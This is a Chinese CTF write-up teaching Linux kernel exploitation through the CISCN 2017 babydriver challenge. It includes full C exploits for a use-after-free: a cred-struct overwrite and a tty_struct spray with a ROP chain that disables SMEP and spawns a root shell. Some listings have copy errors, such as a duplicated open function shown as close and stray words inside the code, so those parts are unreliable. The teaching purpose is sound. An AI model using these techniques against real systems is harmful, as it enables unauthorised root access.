【技术分享】一道简单内核题入门内核利用

华盟原创文章投稿奖励计划

 

 

http://p1.qhimg.com/t01a9f2a6d5a4135b07.jpg

作者:anciety

 

前言


对于学过用户空间pwn的同学来说,内核一直是向往但是却不知道如何下手的一个地方,最近的CISCN比赛中出现了一道内核的基础题目,我认为是一道非常适合内核入门的一道题目,所以我就这道题目,通过自己的分析,希望让大家学会如何去分析一道内核的题目,如何去完成内核的题目,如何通过阅读linux内核源码在内核漏洞利用中帮助自己理解细节,学会分析。

调试环境


内核的知识很多,我没有办法将所有知识都阐述详细,我在这里默认大家已经知道了以下内容的基本概念:

内核

特权等级

内核空间与用户空间

系统调用

slab/slub分配器

内核模块/驱动

这些都是内核的基础知识,我在这里不做详细的阐述,大家可以自己去找找资料,我在这里主要将这些基础概念给大家一个直观的印象。

1.内核

内核是操作系统的核心,目的是为上层提供一个接口,和CPU进行交互,方式就是通过设置各种CPU所需要的结构,让CPU能够提供相应的功能,比如设置虚拟内存所需要的一些结构,使得CPU能够顺利识别,从而提供虚拟内存功能。和操作系统进行交互可以通过系统调用等方式实现。

2.特权等级

CPU将指令分为各种特权等级,特权指令就是必须在特定特权下才能够执行的指令,否则会出现错误,intel将特权等级分为ring0到ring3,其中ring3特权最低,ring0最高,linux只使用了ring0和ring3,ring0为内核运行的等级,ring3为用户运行的等级。

3.内核空间与用户空间

内核空间就是操作系统自己运行的空间,运行在ring0特权等级,拥有自己的空间,位于内存的高地址,而用户空间则是我们平时应用程序运行的空间,运行在ring3特权等级,使用较低地址。内核拥有自己的栈,和用户空间的栈并不共用。

4.系统调用

系统调用是linux内核向用户空间提供功能的方式,通过调用特定的系统调用,用户空间可以获取内核提供的功能。比如read函数事实上就是一个系统调用,通过传入特定的参数,内核可以读取用户输入,并且输入到buf里。

通过使用系统调用,用户空间用户程序将会转入内核空间去执行,在执行完之后通过特殊方式回到用户空间,中间会涉及到用户空间与内核空间的切换。大致流程如下:

1)进入

i.通过swapgs切换GS段寄存器,是将GS寄存器值和一个特定位置的值进行交换,目的是保存GS值,同时将该位置的值作为内核执行时的GS值使用。

ii.将当前栈顶(用户空间栈顶)记录在CPU独占变量区域里,将CPU独占区域里记录的内核栈顶放入rsp(esp)。

iii.通过push保存各寄存器值,代码如下:

http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S

1.  ENTRY(entry_SYSCALL_64)2.  /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */3.  SWAPGS_UNSAFE_STACK4. 5.  /* 保存栈值,并设置内核栈 */6.  movq %rsp, PER_CPU_VAR(rsp_scratch)7.  movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp8. 9. 10./* 通过push保存寄存器值,形成一个pt_regs结构 */11./* Construct struct pt_regs on stack */12.pushq  $__USER_DS      /* pt_regs->ss */13.pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */14.pushq  %r11             /* pt_regs->flags */15.pushq  $__USER_CS      /* pt_regs->cs */16.pushq  %rcx             /* pt_regs->ip */17.pushq  %rax             /* pt_regs->orig_ax */18.pushq  %rdi             /* pt_regs->di */19.pushq  %rsi             /* pt_regs->si */20.pushq  %rdx             /* pt_regs->dx */21.pushq  %rcx tuichu    /* pt_regs->cx */22.pushq  $-ENOSYS        /* pt_regs->ax */23.pushq  %r8              /* pt_regs->r8 */24.pushq  %r9              /* pt_regs->r9 */25.pushq  %r10             /* pt_regs->r10 */26.pushq  %r11             /* pt_regs->r11 */27.sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */

iv.通过汇编指令判断是否是x32_abi(暂时可以忽略这个内容)。

v.通过系统调用号,跳到全局变量sys_call_table相应位置继续执行相应系统调用。

2)退出

i.通过swapgs恢复GS值。

ii.通过sysretq或者iretq恢复到用户空间进行执行,如果使用Iretq还需要给出用户空间的一些信息,比如CS值,eflags标志寄存器值,用户栈顶位置等等信息。

5.slab/slub分配器

这是一个比较大的内容,内核中也需要使用到内存的分配,类似于用户空间malloc的功能。在内核中没有libc,所以没有malloc,但是需要这样的功能,所以有kmalloc,其实现是使用的slab/slub分配器,现在多见的是slub分配器。这个分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,里边通过保存空对象,部分使用的对象和完全使用了对象来管理,对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,一个cache对应一个2的幂大小的一组内存对象。

slab分配器严格按照cache去区分,不同cache的无法分配在一页内,slub分配器则较为宽松,不同cache如果分配相同大小,可能会在一页内,这个点很重要,之后的exp会用到。

6.内核模块/驱动

这是linux拓展内核功能的一个功能,通过向内核插入内核模块可以动态的加载一些驱动代码,用来负责和硬件进行交互,或者在内核层提供一些软件功能。内核模块运行在内核空间,可以通过设备文件来进行交互,比如/dev/目录下的文件很多就是设备文件,打开设备文件,关闭设备文件等等就是使用open、close函数,这些函数在内核模块里进行定义,然后在加载的时候按照一定的规则进行设置,所以通过这些函数可以调用到内核里的模块的相应设置好的函数,最后在内核完成一系列操作,为用户空间提供功能。

SMEP是我需要稍微提一下的,这是一个内核的保护机制,目的是避免ret2usr利用方式,ret2usr即从内核空间劫持控制流,使得控制流回到用户空间,以ring 0执行用户空间代码来进行提权。开启了SMEP的时候,CPU将会阻止在ring 0执行用户空间代码。这是一个CPU功能,由CPU的CR4寄存器管理,用一个位来标志是否开启SMEP保护。不过,SMEP保护并没有阻止直接从用户空间获取数据,只是阻止执行用户空间代码。

题目


好了基础基本就提到这里,让我们来看一道题,这道题是ciscn-2017的babydriver,题目难度不大,很适合入门,让我们可以很直观的感受到完成一次内核pwn的整个过程。

1.题目分析

题目给出了3个文件,一个rootfs.cpio一个bzImage和一个boot.sh,boot.sh内容如下:

1.#!/bin/bash2.3.qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

很显然我们需要安装qemu,这个就自己去安装啦。

然后就是一个对qemu的调用,kernel使用了bzImage,然后用rootfs.cpio作为initrd,其实就是bzImage是内核的映像,然后rootfs.cpio是根文件的映像。在远程,也就是使用这个boot.sh打开的qemu环境,我们能接触到的就是在这个qemu环境里。

qemu环境里有flag,可是我们没有权限读取,必须是root才有权限读取,显然我们需要进行提权。

通过查看/lib/modules/目录,我们发现有一个babydriver.ko,通过查看/proc/modules我们可以看到babydriver.ko作为内核模块已经加载进了内核里,我们还可以看到其加载的地址,很好!

接下来的任务就很显然了,我们需要看懂babydriver.ko干了什么。

init和exit函数没有什么太大的意思,基本上就是设置参数,初始化设备等等工作,我们的重点是几个函数。不过需要注意,init中设置了/dev/babydev作为设备文件。

open函数:

1.  __int64 __fastcall babyopen(inode *inode, file *filp,__int64 a3, __int64 a4)2.  {3.  char *v4; // rax@14.  __int64 v5; // rdx@15. 6.  _fentry__(inode, filp, a3, a4);7.  LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6),  0x24000C0LL, 64LL);8.  babydev_struct.device_buf = v4;9.  babydev_struct.device_buf_len = 64LL;10. printk("device open\n", 0x24000C0LL, v5);11. return 0LL;12.}

close函数:

1.__int64 __fastcall babyopen(inode *inode, file *filp, __int64a3, __int64 a4)2.  {3.   char *v4; // rax@14.  __int64 v5; // rdx@15. 6. _fentry__(inode, filp, a3, a4);7. LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6),  0x24000C0LL, 64LL);8. babydev_struct.device_buf = v4;9.  babydev_struct.device_buf_len = 64LL;10.  printk("device open\n", 0x24000C0LL, v5);11. return 0LL;12.}

ioctl函数:

1. __int64 __fastcall babyioctl(file *filp, __int64 command, unsigned __int64 arg, __int64 a4)2. {3. size_t v4; // rdx@14. size_t v5; // rbx@15. char *v6; // rax@26. __int64 v7; // rdx@27. __int64 result; // rax@28. 9. _fentry__(filp, command, arg, a4);10. v5 = v4;silu11. if ( (_DWORD)command == 0x10001 )12. {13. kfree(babydev_struct.device_buf);14. LODWORD(v6) = _kmalloc(v5, 0x24000C0LL);15. babydev_struct.device_buf = v6;16. babydev_struct.device_buf_len = v5;17. printk("alloc done\n", 0x24000C0LL, v7);18. result = 0LL;19. }20. else21. {22. printk(&default_arg_is_format_str, v4, v4);23. result = -22LL;24. }25. return result;26.}

write函数:

1. ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)2.  {3. unsigned __int64 copy_len; // rdx@14. ssize_t result; // rax@25. ssize_t v6; // rbx@36. 7. _fentry__(filp, buffer, length, offset);8. if ( babydev_struct.device_buf )9. {10. result = -2LL;11. if ( babydev_struct.device_buf_len > copy_len )12. {13. v6 = copy_len;14. copy_from_user(babydev_struct.device_buf, buffer, copy_len);15. result = v6;16. }17. }18. else19. {20. result = -1LL;21. }22. return result;23.}

read函数:

1.  ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)2.  {3. unsigned __int64 copy_len; // rdx@14. ssize_t result; // rax@25. ssize_t v6; // rbx@36. 7. _fentry__(filp, buffer, length, offset);8. if ( babydev_struct.device_buf )9. {10. result = -2LL;11. if ( babydev_struct.device_buf_len > copy_len )12. {13. v6 = copy_len;14. copy_to_user(buffer, babydev_struct.device_buf, copy_len);15. result = v6;16. }17. }18. else19. {20. result = -1LL;21. }22. return result;23.}

源码非常简单,大概就是有一个struct,其中保存了一个buf和一个size,buf在open时通过kmem_cache_alloc进行分配,这个分配其实是和kmalloc一个原理,这里我是通过查看源码发现的,具体查看的源码如下:

http://elixir.free-electrons.com/linux/v4.12/source/include/linux/slab.h#L480

1.  static __always_inline void *kmalloc(size_t size, gfp_t flags)2.  {3.  if (__builtin_constant_p(size)) 4. {5. if (size > KMALLOC_MAX_CACHE_SIZE)6. return kmalloc_large(size, flags);7.  #ifndef CONFIG_SLOB8.  if (!(flags & GFP_DMA)) 9.   {10. int index = kmalloc_index(size);11. 12.  if (!index)13. return ZERO_SIZE_PTR;14. 15. return kmem_cache_alloc_trace(kmalloc_caches[index], flags, size);16. }17.#endif18. }19. return __kmalloc(size, flags);20.}

ifndef 是满足的,因为我们可以默认没有使用slob(猜的,因为大多数时候都是slub和slab,其中又以slub居多),所以return kmem_cache_alloc_trace其实就是open时候调用的,这里是因为常数时候编译器做了一个优化,所以看起来和kmalloc好像不太一样。

好了,open的时候kmalloc了一个大小为64的空间,然后size设置为64,release的时候将会释放这个空间。read和write都会先检查buf指针是不是为NULL,不为NULL再检查大小是否满足要求,之后进行read和write操作,也就是向用户空间写或者读。

ioctl比较特殊,首先判断command是不是为0x10001,如果满足,将会释放之前的buf,新分配一个用户决定大小的空间,并且设置为size。

功能基本上就讲完了,乍一看好像没有漏洞,那是因为用户空间pwn的思维在限制你使用单线程的思维去考虑。如果是多线程呢?

我们假设我们打开了两个设备文件,也就是调用了两次open,第一次分配了,第二次其实将会覆盖第一次分配的buf,因为是全局的。有了这个思维,剩下的就好想了,如果我们release了第一个,第二个其实就已经是被释放过的了,这样,就造成了一个UAF了。

接下来我们就来讨论如何进行提权了,注意,题目是开启了SMEP保护的,从boot.sh中可以看出来。

2.题目思路1.0

通过我们对slub分配器的了解,相同大小的会被放在一块,现在我们来想想,一个进程的权限,是由什么定的?相信你们都知道,uid,uid又保存在哪儿呢?答案是cred结构。cred结构在每一个进程中都有一个,并且保存了该进程的权限信息,如果我们能够修改到cred信息,那么事情就很简单了。

于是思路是,我们有了一个UAF,使某个进程的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,万事大吉!

问题是,如何控制cred结构?别忘了,**相同大小的会被放在一块**,我们首先通过ioctl改变大小,使得和cred结构大小一样,接下来只需要在触发UAF的时候新建一个cred结构,新建的结构就很有可能被放进这个UAF的空间里,创建方法嘛,每一个进程都有,那么,新建一个进程不就好了?新建进程嘛,fork就解决了。

好了,只剩下一个问题,大小是多少?

方法一:查看源码。因为配置比较多,效率比较低,还容易错。

方法二:编译一个带符号的内核,直接查看。

这里怎么使用方法二就是另外一篇文章的内容了,大概就是编译一个源码,然后去看符号就行了。因为一般这种内核也就是默认编译,所以相对也会比较准确的。

如果查看源码,去掉debug选项,也可以计算出来,大小是0xa8。源码如下:

http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/cred.h#L118

1.  struct cred {2.  atomic_t usage;3.  #ifdef CONFIG_DEBUG_CREDENTIALS4.  atomic_t subscribers; /* number of processes subscribed */5.  void *put_addr;6.  unsigned magic;7.  #define CRED_MAGIC 0x437365648. #define CRED_MAGIC_DEAD 0x446561449. #endif10. kuid_t uid; /* real UID of the task */11. kgid_t gid; /* real GID of the task */12. kuid_t suid; /* saved UID of the task */13. kgid_t sgid; /* saved GID of the task */14. kuid_t euid; /* effective UID of the task */15. kgid_t egid; /* effective GID of the task */16. kuid_t fsuid; /* UID for VFS ops */17. kgid_t fsgid; /* GID for VFS ops */18. unsigned securebits; /* SUID-less security management */19. kernel_cap_t cap_inheritable; /* caps our children can inherit */20. kernel_cap_t cap_permitted; /* caps we're permitted */21. kernel_cap_t cap_effective; /* caps we can actually use */22. kernel_cap_t cap_bset; /* capability bounding set */23. kernel_cap_t cap_ambient; /* Ambient capability set */24.#ifdef CONFIG_KEYS25. unsigned char jit_keyring; /* default keyring to attach requested keys to */26. struct key __rcu *session_keyring; /* keyring inherited over fork */27. struct key *process_keyring; /* keyring private to this process */28. struct key *thread_keyring; /* keyring private to this thread */29. struct key *request_key_auth; /* assumed request_key authority */30.#endif31.#ifdef CONFIG_SECURITY32. void *security; /* subjective LSM security */33.#endif34. struct user_struct *user; /* real user ID subscription */35. struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */36. struct group_info *group_info; /* supplementary groups for euid/fsgid */37. struct rcu_head rcu; /* RCU deletion hook */38.};

对于不是很明确的type可以直接查找reference去查看typedef。同时通过查看源码,我们还轻松的找到了uid等等各种id的位置。那么直接把该改的都改为0就可以了。

方法就很简单了,看看exp吧。

1.  #include <stdio.h>2.  #include <unistd.h>3.  #include <stdlib.h>4.  #include <fcntl.h>5.  #include <string.h>6.  #include <sys/types.h>7.  #include <sys/wait.h>8.  #include <sys/ioctl.h>9.  #include <pthread.h>10.#define CRED_SIZE 16811.#define DEV_NAME "/dev/babydev"12.char buf[100];13.int main() 14.{15. int fd1, fd2, ret;16. char zero_buf[100];17. memset(zero_buf, 0, sizeof(char) * 100);18. fd1 = open(DEV_NAME, O_RDWR);19. fd2 = open(DEV_NAME, O_RDWR);20. 21. ret = ioctl(fd1, 0x10001, CRED_SIZE);22. 23. close(fd1);24. 25. int now_uid = 1000;//当前uid为100026. int pid = fork();27. if (pid < 0)28. {29. perror("fork error");30. return 0;31. }32. 33. if (!pid) 34. {35. //写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了。36. ret = write(fd2, zero_buf, 28);37. now_uid = getuid();38. if (!now_uid) 39. {40. printf("get root done\n");41. // 权限修改完毕,启动一个shell,就是root的shell了。42. system("/bin/sh");43. exit(0);44. }45. else46. {47. puts("failed?");48. exit(0);49. }50. }51. else52. {53. wait(NULL);54. }55. close(fd2);56. return 0;57.}

3.题目思路2.0

好了,第一种方法只是个开胃菜,非常简单非常粗暴,现在让我们来看看更麻烦的方法,使用tty_struct。关于tty的知识我在这里不想做过多解释,大家可以自行查找资料。反正tty也是一种设备,通过’/dev/ptmx’可以打开这个设备,我们要做的,就是去修改这个设备的函数指针,从而使得对这个设备的操作变为我们所能控制的,也就是说,我们控制了内核空间的执行流,完美!那么又该干点什么呢?

由于开启了smep,我们不能直接返回用户空间然后以ring0的身份调用函数。如果可以,那么只需要调用commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份,可惜我们还有更多的工作要做。

既然问题是开启了smep,那么简单,我们反正都控制了执行流,把它关掉就好了。关掉的方法就是通过写入cr4寄存器,将smep位关掉就好了,关掉smep,我们就可以回去执行提权的函数啦。

可是光是控制一次执行流是没办法做这么多工作的,而且我们也没法执行用户空间指定的代码,方法嘛,也是我们常见的方法,ROP。

通过在内核空间进行ROP,执行内核代码,关掉smep,之后回用户空间提权,然后就可以打开shell啦。内核的ROP其实和用户空间ROP相差无几,不过还是有几个细节内容需要考虑,比如,栈在哪儿?没有栈咋ROP呢?没有栈,我们就自己造栈嘛,通过一个gadget,比如xchg eax, esp,注意这里是eax和esp,32位的,就可以做到了。原理就是由于在执行那个ioctl的时候eax正好是要执行的指令的地址,换句话说,就是gadget的地址,而eax截取了低32位,如果是整个64位,rax必然是一个内核空间的地址,可是低32位,就落到用户空间了。

于是我们mmap这个位置,xchg eax, esp,使得esp变为这个值,这样栈就落到了用户空间以内。虽然没法执行代码,但是可以获取数据啊,于是我们就从用户空间获取数据来ret,然后执行内核空间的代码。

好了,几个难点如下:

1)如何获取控制流?已解决,通过UAF使得tty_struct覆盖我们释放的位置,我们可以控制tty_struct,然后改写它的操作即可。

2)如何设定栈?已解决,xchg eax, esp。

3)如何关掉smep?已解决,通过ROP调用内核空间的gadget写入关掉smep的新cr4值到cr4寄存器里。

4)如何获取权限?已解决,在关掉smep之后,用户空间调用commit_creds(prepare_kernel_creds(0))即可,这两个函数都是位于内核空间的,可是只要我们知道他们的符号位置,就可以调用内核函数,因为回到用户空间之后,我们的特权还是ring 0的,只是内存位置回来了而已。

5)如何获取shell?还需要解决?直接system(“/bin/sh”);不就完了,用户空间的代码可是我们自己写的啊!

6)实际问题:如何写ROP链?

剩下一个实际问题需要我们解决了,主要是,怎么找gadget?

bzImage实际上是已经被压缩过得vmlinuz,我们需要通过linux源码里scripts目录下的extract-vmlinux来extract,之后直接通过ropper或者ROPGadgets获取gadget就可以了。

接下来就是要找哪些gadget的问题了,根据之前的问题,我们需要如下的gadget:

1)xchg eax, esp来设置栈,用这个gadget覆盖ioctl操作函数嘛。

2)写入cr4,来关闭smep。

3)swapgs,回到用户空间之前的准备。

4)iretq,用来回到用户空间特权级方便打开shell。

5)commit_creds

6)prepare_kernel_cred

7)打开shell。

前四个直接在刚才生成的gadget中去找就可以了,后三个中的4和5,需要内核符号,在/proc/kallsyms文件可以读取到内核所有符号的地址,所以解决了,最后一个打开shell,就是用户空间的地址,好了,解决完毕。

于是任务就简单了,让我们来看看exp:

1.  #include <stdio.h>2.  #include <stdlib.h>3.  #include <unistd.h>4.  #include <sys/types.h>5.  #include <errno.h>6.  #include <sys/stat.h>7.  #include <sys/ioctl.h>8.  #include <fcntl.h>9.  #include <string.h>10.#include <pty.h>11.#include <sys/mman.h>12.#include <sys/ipc.h>13.#include <sys/sem.h>14.15.#define TTY_STRUCT_SIZE 0x2e016.#define SPRAY_ALLOC_TIMES 0x10017.18.int spray_fd[0x100];19.20./*21.22.tty_struct:23. int magic; // 424. struct kref kref; // 425. struct device *dev; // 826. struct tty_driver *driver; // 827. const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 2428. [...]29.30.*/31.32.struct tty_operations {33. struct tty_struct * (*lookup)(struct tty_driver *driver,34. struct file *filp, int idx);35. int (*install)(struct tty_driver *driver, struct tty_struct *tty);36. void (*remove)(struct tty_driver *driver, struct tty_struct *tty);37. int (*open)(struct tty_struct * tty, struct file * filp);38. void (*close)(struct tty_struct * tty, struct file * filp);39. void (*shutdown)(struct tty_struct *tty);40. void (*cleanup)(struct tty_struct *tty);41. int (*write)(struct tty_struct * tty,42. const unsigned char *buf, int count);43. int (*put_char)(struct tty_struct *tty, unsigned char ch);44. void (*flush_chars)(struct tty_struct *tty);45. int (*write_room)(struct tty_struct *tty);46. int (*chars_in_buffer)(struct tty_struct *tty);47. int (*ioctl)(struct tty_struct *tty,48. unsigned int cmd, unsigned long arg);49. long (*compat_ioctl)(struct tty_struct *tty,50. unsigned int cmd, unsigned long arg);51. void (*set_termios)(struct tty_struct *tty, struct ktermios * old);52. void (*throttle)(struct tty_struct * tty);53. void (*unthrottle)(struct tty_struct * tty);54. void (*stop)(struct tty_struct *tty);55. void (*start)(struct tty_struct *tty);56. void (*hangup)(struct tty_struct *tty);57. int (*break_ctl)(struct tty_struct *tty, int state);58. void (*flush_buffer)(struct tty_struct *tty);59. void (*set_ldisc)(struct tty_struct *tty);60. void (*wait_until_sent)(struct tty_struct *tty, int timeout);61. void (*send_xchar)(struct tty_struct *tty, char ch);62. int (*tiocmget)(struct tty_struct *tty);63. int (*tiocmset)(struct tty_struct *tty,64. unsigned int set, unsigned int clear);65. int (*resize)(struct tty_struct *tty, struct winsize *ws);66. int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);67. int (*get_icount)(struct tty_struct *tty,68. struct serial_icounter_struct *icount);69. const struct file_operations *proc_fops;70.};71.72.typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);73.typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_func)(unsigned long cred);74.75./* Gadgets */76.commit_creds_func commit_creds = (commit_creds_func) 0xffffffff810a1420;77.prepare_kernel_cred_func prepare_kernel_cred = (prepare_kernel_cred_func) 0xffffffff810a1810;78.unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;79.unsigned long xchgeaxesp = 0xFFFFFFFF81007808;80.unsigned long poprdiret = 0xFFFFFFFF813E7D6F;81.//unsigned long iretq = 0xFFFFFFFF8181A797;82.unsigned long iretq = 0xffffffff814e35ef;83.unsigned long swapgs = 0xFFFFFFFF81063694;84.85./* status */86.unsigned long user_cs, user_ss, user_eflags;87.void save_stats() {88. asm(89. "movq %%cs, %0\n"90. "movq %%ss, %1\n"91. "pushfq\n"92. "popq %2\n"93. :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags)94. :95. : "memory"96. );97.}98.99.void get_shell() {100. // char *shell_str = "/bin/sh";101. // char *args[] = {shell_str, NULL};102. // execve(shell_str, args, NULL);103. system("/bin/sh");104.}105.106.void shellcode() {107. commit_creds(prepare_kernel_cred(0));108.}109.110.void exploit() {111. char *buf = (char*) malloc(0x1000);112. char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations113. struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));114. 115. save_stats();116. 117. memset(fake_tty_operations, 0, sizeof(struct tty_operations));118. fake_tty_operations->proc_fops = &fake_file_operations;119. fake_tty_operations->ioctl = (unsigned long)xchgeaxesp;120. 121. int fd1 = open("/dev/babydev", O_RDWR);122. int fd2 = open("/dev/babydev", O_RDWR);123. int fd;124. //ioctl(fd2, 0x10001, 0xa8); // the same'11 as cred struct size125. ioctl(fd2, 0x10001, TTY_STRUCT_SIZE);126. write(fd2, "hello world", strlen("hello world"));127. close(fd1);128. fd = fd2;129. 130. // spray tty131. puts("[+] Spraying buffer with tty_struct");132. for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) {133. spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); 134. if (spray_fd[i] < 0) {135. perror("open tty");136. }137. }138. 139. // now we have a tty_struct in our buffer140. puts("[+] Reading buffer content from kernel buffer");141. long size = read(fd, buf, 32);142.  if (size < 32) {143. puts("[-] Reading not complete!");144. printf("[-] Only %ld bytes read.\n", size);145. }146. puts("[+] Detecting buffer content type");147. if (buf[0] != 0x01 || buf[1] != 0x54) {148. puts("[-] tty_struct spray failed");149. printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);150. puts("[-] Exiting...");151. exit(-1);152. }153. 154. puts("[+] Spray complete. Modifying function pointer");155. unsigned long *temp = (unsigned long*)&buf[24];156. *temp = (unsigned long)fake_tty_operations;157. 158. puts("[+] Preparing ROP chain");159. unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;160. unsigned long base = lower_address & ~0xfff;161. printf("[+] Base address is %lx\n", base);162. if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {163.  perror("mmap");164. exit(1);165. }166. 167. unsigned long rop_chain[] = {168. poprdiret,169. 0x6f0,170. native_write_cr4,171. (unsigned long)shellcode,172. swapgs,173. base,174. iretq,175. (unsigned long)get_shell,176. user_cs,177. user_eflags,178. base + 0x10000,179. user_ss180. };181. memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));182. 183. puts("[+] Writing function pointer to the driver");184. long len = write(fd, buf, 32);185. if (len < 0) {186. perror("write");187. exit(1);188. }189. 190. puts("[+] Triggering");191. for (int i = 0;i < 256; i++) {192. ioctl(spray_fd[i], 0, 0); //FFFFFFFF814D8AED call rax193. }194. 195.}196.197.int main() {198. exploit();199. return 0;200.}

其中,tty_struct和tty_operations都是从源码里找到的结构,不太需要解释,file_operations的存在主要是给他一个有效的指针,避免一些可能出现的错误,然后save_state函数用来保存用户空间的cs、eflags、ss的值,在iretq的时候,需要提供rip,cs,eflags,用户栈位置,ss值,所以我们要提前保存好备用。

通过打开/dev/ptmx设备,我们就新建了tty_struct。

通过计算tty_struct的大小,提前使用ioctl将buf的大小设置为一样的大小,之后新建tty_struct的时候,tty_struct就会落在这个buf里。

之后我们通过修改tty_struct的tty_operations,设置为我们自己的tty_operations即可,我们自己的tty_operations再修改ioctl为xchg esp, eax来使得rsp指向用户空间。

而这里的位置我们提前mmap,放入rop_chain的内容,这样xchg之后rsp就指向了rop_chain开始的位置,进入了rop流程啦,最后rop结束,执行完毕,打开了root shell,提权成功!

总结


通过这道题目,我们大致了解了内核ctf题目的一个流程,还学习了利用tty_struct配合rop绕过smep进行利用的一个手法,当然,还学习了直接通过cred结构进行利用的手法,以及,我们知道了内核的漏洞和用户空间的不同之处,要按多线程的思路去考虑。

我觉得最重要的是,通过这篇文章,这道题目,我们知道了内核和用户空间的差异,以及怎么样去完成一个内核利用,和最最重要的,在不明白的时候,看!源!码! linux是个开源的操作系统,一定要利用好开源的优势,不懂的时候多去看看源码,一切都会简单许多。

参考


1.http://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html

2.https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html


© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容